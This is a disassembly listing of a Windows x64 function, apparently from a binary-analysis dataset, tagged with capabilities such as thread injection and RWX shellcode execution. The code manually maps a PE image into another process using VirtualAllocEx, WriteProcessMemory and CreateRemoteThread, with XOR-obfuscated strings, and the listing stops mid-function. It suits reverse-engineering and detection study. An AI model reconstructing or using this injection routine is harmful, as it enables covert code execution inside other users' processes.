Function at 0x140016450
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov byte [rsp + 0x20], r9b
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x420
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov eax, 0x5a4d
mov r14, rdx
mov rsi, rcx
movabs r13, 0x4c2ea365f6426c14
cmp word [rdx], ax
je 0x140016501
movabs rax, 0x7f7cf5d84f77246e
lea rcx, [rbp + 0x60]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0x4c2ea36f932e0572
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0x5f189cb42e014a27
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r13
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x60]
mov qword [rbp + 0x28], rax
xorps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x60], xmm0
call fcn.140018280
jmp 0x140017cf5
movsxd r15, dword [rdx + 0x3c]
mov eax, 0x8664
add r15, r14
cmp word [r15 + 4], ax
je 0x1400165d4
movabs rax, 0x7f7cf5d84f77246e
lea rcx, [rbp + 0x20]
mov qword [rbp], rax
movabs r12, 0xcaf847b71424896
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x215ccc0382230064
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0xb5a3ff32582eb47b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0x5f189cb42e014a27
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xb5a3ff32582eb471
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
vzeroupper
call fcn.140018280
jmp 0x140017cf5
movabs rax, 0x5573f3944b6d2361
lea rcx, [rbp + 0xd0]
mov qword [rbp], rax
movabs r12, 0x5f189cb42e014a27
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
mov qword [rbp], r13
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0xd0]
mov qword [rbp + 0x188], rax
xorps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0xd0], xmm0
call fcn.140018280
mov r8d, dword [r15 + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x10], rax
mov rbx, rax
test rax, rax
jne 0x1400167f4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
movabs rax, 0x2f38e8d149732b73
mov qword [rbp], rax
movabs rax, 0x210ed01693210366
mov rcx, qword [rbp]
mov qword [rbp + 0x20], rcx
mov qword [rbp], rax
movabs rax, 0xd9c2df4b2a41d914
mov rcx, qword [rbp]
mov qword [rbp + 0x28], rcx
mov qword [rbp], rax
movabs rax, 0x62c0ed0f102127fa
mov rcx, qword [rbp]
mov qword [rbp + 0x30], rcx
movabs rcx, 0x1f2821af50a7424a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0x4597a2e44b5d439b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x15532cd975f9d6b0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xa3649386accce2fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], r12
movabs r12, 0xcaf847b71424896
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xb5a3ff32582eb471
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0x65f3c788223c25bb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x302b1cf95c81b398
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0xa3649386accce8a5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
mov qword [rbp], rcx
lea rcx, [rbp + 0x20]
mov rax, qword [rbp]
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqu ymm0, ymmword [rbp + 0x40]
vmovdqa ymmword [rbp + 0x20], ymm1
mov qword [rbp + 0x98], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x40], ymm1
jmp 0x140017ced
xor edi, edi
lea rax, [rbp + 0xb0]
mov dword [rbp + 0xb0], edi
mov rdx, rbx
mov r8d, dword [r15 + 0x50]
mov rcx, rsi
mov qword [rsp + 0x20], rax
lea r9d, [rdi + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r9d, 0x1000
mov qword [rbp + 0x190], rax
mov r8, r14
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rbx
mov qword [rbp + 0x198], rax
mov rcx, rsi
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rbp + 0x1a0], rax
mov eax, dword [rsp + 0x488]
mov dword [rbp + 0x1b8], eax
mov rax, qword [rsp + 0x490]
mov qword [rbp + 0x1c0], rax
movzx eax, byte [rsp + 0x480]
mov dword [rbp + 0x1c8], eax
mov qword [rbp + 0x1b0], rdi
mov dword [rbp + 0x1bc], edi
mov dword [rbp + 0x1cc], edi
mov qword [rbp + 0x1a8], rbx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140016985
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
movabs rax, 0x2d6fbcc0096f2b64
mov qword [rbp], rax
movabs rax, 0x2942ca03d627187d
mov rcx, qword [rbp]
mov qword [rbp + 0x20], rcx
mov qword [rbp], rax
movabs rax, 0x95d19a56394bdc51
mov rcx, qword [rbp]
mov qword [rbp + 0x28], rcx
mov qword [rbp], rax
movabs rax, 0xcaf8471296730a6
mov rcx, qword [rbp]
mov qword [rbp + 0x30], rcx
lea rcx, [rbp + 0x20]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r12
movabs r12, 0xcaf847b71424896
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xb5a3ff32582eb471
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
vzeroupper
call fcn.140018280
mov rdx, rbx
mov r9d, 0x8000
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x140017cf5
movzx ebx, word [r15 + 0x14]
add rbx, 0x2c
cmp word [r15 + 6], di
je 0x1400169d8
add rbx, r15
mov eax, dword [rbx - 4]
test eax, eax
je 0x1400169c9
mov r8d, dword [rbx]
mov r9d, eax
mov edx, dword [rbx - 8]
add r8, r14
add rdx, qword [rbp + 0x10]
mov rcx, rsi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140016b88
movzx eax, word [r15 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x140016998
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, rsi
lea r8d, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0xc0], rax
mov rbx, rax
test rax, rax
jne 0x140016c62
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
movabs rax, 0x2f38e8d149732b73
mov qword [rbp], rax
movabs rax, 0x210ed01693210366
mov rcx, qword [rbp]
mov qword [rbp + 0x20], rcx
mov qword [rbp], rax
movabs rax, 0xd483985c315ec410
mov rcx, qword [rbp]
mov qword [rbp + 0x28], rcx
mov qword [rbp], rax
movabs rax, 0x63c6f01a122d24fa
mov rcx, qword [rbp]
mov qword [rbp + 0x30], rcx
movabs rcx, 0x1f2821af50a7424a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0x196abe1435a05d5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x481b3cd024e49bb8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xa3649386acc6b080
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], r12
movabs r12, 0xcaf847b71424896
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xb5a3ff32582eb471
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0x65f3c788223c25bb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x302b1cf95c81b398
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0xa3649386accce8a5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
mov qword [rbp], rcx
lea rcx, [rbp + 0x20]
mov rax, qword [rbp]
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqu ymm0, ymmword [rbp + 0x40]
vmovdqa ymmword [rbp + 0x20], ymm1
mov qword [rbp + 0x98], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x40], ymm1
jmp 0x140016c3f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
movabs rax, 0x3e75bcc0096f2b64
mov qword [rbp], rax
movabs rax, 0x2347d70693314c64
mov rcx, qword [rbp]
mov qword [rbp + 0x20], rcx
mov qword [rbp], rax
movabs rax, 0xcd8687027814c71f
mov rcx, qword [rbp]
mov qword [rbp + 0x28], rcx
mov qword [rbp], rax
movabs rax, 0xcaf847b7142489c
mov rcx, qword [rbp]
mov qword [rbp + 0x30], rcx
lea rcx, [rbp + 0x20]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r12
movabs r12, 0xcaf847b71424896
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xb5a3ff32582eb471
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
vzeroupper
call fcn.140018280
mov rdx, qword [rbp + 0x10]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x140017cf5
xor r14d, r14d
lea r8, [rbp + 0x190]
mov rdx, rbx
mov qword [rsp + 0x20], r14
mov rcx, rsi
lea r9d, [r14 + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140016d63
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
movabs rax, 0x2d6fbcc0096f2b64
mov qword [rbp], rax
movabs rax, 0x3c5ec208d627187d
mov rcx, qword [rbp]
mov qword [rbp + 0x20], rcx
mov qword [rbp], rax
movabs rax, 0xed8687027849da18
mov rcx, qword [rbp]
mov qword [rbp + 0x28], rcx
mov qword [rbp], rax
movabs rax, 0xcaf847b7142489c
mov rcx, qword [rbp]
mov qword [rbp + 0x30], rcx
lea rcx, [rbp + 0x20]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r12
movabs r12, 0xcaf847b71424896
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xb5a3ff32582eb471
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
vzeroupper
call fcn.140018280
mov rdx, qword [rbp + 0x10]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x14001696b
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0xa8], rax
mov rdi, rax
test rax, rax
jne 0x140016ec4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
movabs rax, 0x2c38e5c6416c2f6a
mov qword [rbp], rax
movabs rax, 0x294acc069a2e097c
mov rcx, qword [rbp]
mov qword [rbp + 0x60], rcx
mov qword [rbp], rax
movabs rax, 0xc1c29c5d3442d551
mov rcx, qword [rbp]
mov qword [rbp + 0x68], rcx
mov qword [rbp], rax
movabs rax, 0x60c6e51d512c27ff
mov rcx, qword [rbp]
mov qword [rbp + 0x70], rcx
lea rcx, [rbp + 0x60]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0x45dabfed0a1c41de
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x302b1cf304a4cba8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
mov qword [rbp], r12
movabs r12, 0xcaf847b71424896
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0xb5a3ff32582eb471
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0x65f3c788223c25bb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x302b1cf95c81b398
mov qword [rbp], rax
mov rax, qword [rbp]
movdqa xmm2, xmmword [rbp + 0x80]
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
mov qword [rbp + 0x48], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x40]
vmovdqa ymmword [rbp + 0x60], ymm1
vmovdqa xmmword [rbp + 0x80], xmm2
jmp 0x140016d40
mov r9d, 0x1000
mov qword [rsp + 0x20], r14
lea r8, [0x140017d20]
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140016fdc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
movabs rax, 0x2d6fbcc0096f2b64
mov qword [rbp], rax
movabs rax, 0x204bcb16d627187d
mov rcx, qword [rbp]
mov qword [rbp + 0x20], rcx
mov qword [rbp], rax
movabs rax, 0xcd93df573c41d71d
mov rcx, qword [rbp]
mov qword [rbp + 0x28], rcx
mov qword [rbp], rax
movabs rax, 0xcaf847b714810b3
mov rcx, qword [rbp]
mov qword [rbp + 0x30], rcx
lea rcx, [rbp + 0x20]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r12
movabs r12, 0xcaf847b71424896
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xb5a3ff32582eb471
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
vzeroupper
call fcn.140018280
mov rdx, qword [rbp + 0x10]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, rdi
jmp 0x14001696e
movabs rax, 0x3041bce90e2b6a7c
movabs rcx, 0x1f2821af50a7424a
mov qword [rbp], rax
movabs rdi, 0xb5a3ff32582eb471
mov rax, qword [rbp]
mov r14, r12
mov qword [rbp + 0x140], rax
movabs rax, 0x206d830b97014c61
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs rax, 0x95c69766784bc71e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
movabs rax, 0x438ff61e152327da
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
movabs rax, 0x4586a8d1025946d5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
movabs rax, 0x514e74ba7ce4d6cb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
movabs rax, 0xc609f2c1c285c8d1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
movabs rax, 0x1f2821af50a74864
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
mov qword [rbp], r12
movabs r12, 0xcaf847b71424896
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x350], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
movabs rax, 0x65f3c788223c25bb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
movabs rax, 0x302b1cf95c81b398
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
movabs rax, 0xa3649386accce8a5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
mov qword [rbp], rcx
lea rcx, [rbp + 0x140]
mov rax, qword [rbp]
vmovdqu ymm0, ymmword [rbp + 0x340]
vpxor ymm1, ymm0, ymmword [rbp + 0x140]
vmovdqu ymm0, ymmword [rbp + 0x160]
vmovdqa ymmword [rbp + 0x140], ymm1
mov qword [rbp + 0x378], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x360]
vmovdqa ymmword [rbp + 0x160], ymm1
vzeroupper
call fcn.140018280
mov r9, qword [rbp + 0xa8]
xor eax, eax
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov dword [rsp + 0x28], eax
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x1400172aa
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
movabs rax, 0x3c38f8d54b732273
mov qword [rbp], rax
movabs rax, 0x6c40cc0c82230966
mov rcx, qword [rbp]
mov qword [rbp + 0x20], rcx
mov qword [rbp], rax
movabs rax, 0x85839b573447d517
mov rcx, qword [rbp]
mov qword [rbp + 0x28], rcx
mov qword [rbp], rax
movabs rax, 0xcaf847b7b1a6dee
mov rcx, qword [rbp]
mov qword [rbp + 0x30], rcx
lea rcx, [rbp + 0x20]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
vzeroupper
call fcn.140018280
mov rdx, qword [rbp + 0x10]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, rbx
xor r8d, r8d
mov r9d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, qword [rbp + 0xa8]
jmp 0x14001696e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0xa4]
mov dword [rbp + 0xa4], 0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rbp + 0xa4], 0x103
jne 0x140017c4c
xorps xmm0, xmm0
mov qword [rsp + 0x20], 0
mov r9d, 0x40
lea r8, [rbp + 0x380]
mov rdx, rbx
mov rcx, rsi
movups xmmword [rbp + 0x380], xmm0
movups xmmword [rbp + 0x390], xmm0
movups xmmword [rbp + 0x3a0], xmm0
movups xmmword [rbp + 0x3b0], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rbp + 0x3a0]
cmp rbx, 0x404040
je 0x140017b91
cmp rbx, 0x505050
jne 0x140017478
movabs rax, 0x655fd2fd60530b70
movabs rcx, 0x302b1cf95c81b398
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x255ad300953a2934
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0xdad38f472b0eda1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0x69c3ed1a17623ce4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
movabs rax, 0x65f3c788223604df
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
movabs rax, 0x65f3c788223c25bb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
mov qword [rbp], rcx
lea rcx, [rbp + 0x1e0]
mov rax, qword [rbp]
movdqa xmm2, xmmword [rbp + 0x200]
vmovdqu ymm0, ymmword [rbp + 0x260]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e0]
mov qword [rbp + 0x288], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x280]
vmovdqa ymmword [rbp + 0x1e0], ymm1
vmovdqa xmmword [rbp + 0x200], xmm2
vzeroupper
call fcn.140018280
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
mov rbx, qword [rbp + 0xc0]
je 0x1400172b3
mov ecx, 0x1400000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp], rax
mov rbx, rax
test rax, rax
jne 0x140017556
movabs rax, 0x2b38f9d84c602472
lea rcx, [rbp + 0x20]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x2d4dcc099a234c7b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0xc7cc9257350ed105
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0xcaf847b714242ef
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
vzeroupper
call fcn.140018280
jmp 0x140017cf5
xor edx, edx
mov r8d, 0x1400000
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
cmp byte [rsp + 0x468], 0
je 0x14001758f
mov rdx, qword [rbp + 0x10]
mov r9d, 0x1000
mov r8, rbx
mov qword [rsp + 0x20], 0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp byte [rsp + 0x470], 0
je 0x140017848
movzx ebx, word [r15 + 0x14]
xor edx, edx
add rbx, 0x18
mov dword [rbp + 0xa0], edx
add rbx, r15
cmp word [r15 + 6], dx
je 0x140017848
lea r8, [0x140082da0]
movabs r11, 0x366befd14d6e3877
lea r9, str..rsrc
lea r10, str..reloc
nop dword [rax + rax]
cmp dword [rbx + 8], 0
je 0x14001782f
cmp byte [rsp + 0x480], 0
jne 0x140017616
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x140017616
cmp rcx, 7
jne 0x140017600
jmp 0x140017658
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r9 + rcx - 1]
jne 0x140017636
cmp rcx, 6
jne 0x140017620
jmp 0x140017658
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r10 + rcx - 1]
jne 0x14001782f
cmp rcx, 7
jne 0x140017640
mov qword [rbp + 8], r11
lea rcx, [rbp + 0xe0]
mov rax, qword [rbp + 8]
mov rdx, rbx
mov qword [rbp + 0xe0], rax
movabs rax, 0x295c8316d3620b7a
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xe8], rax
movabs rax, 0xb5a3f55e3958db1c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf8], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2e0], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2e8], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2f0], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2f8], rax
vmovdqu ymm0, ymmword [rbp + 0x2e0]
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
vmovdqa ymmword [rbp + 0xe0], ymm1
vzeroupper
call fcn.140018280
mov edx, dword [rbx + 0xc]
mov rcx, rsi
add rdx, qword [rbp + 0x10]
mov r9d, dword [rbx + 8]
mov r8, qword [rbp]
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14001780a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, rbx
movabs rax, 0x337bbcc0096f2b64
mov qword [rbp + 8], rax
movabs rax, 0x384dc616d6300d71
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x100], rcx
mov qword [rbp + 8], rax
movabs rax, 0x95998c177840db18
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x108], rcx
mov qword [rbp + 8], rax
movabs rax, 0xcaf8471096730a6
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x110], rcx
lea rcx, [rbp + 0x100]
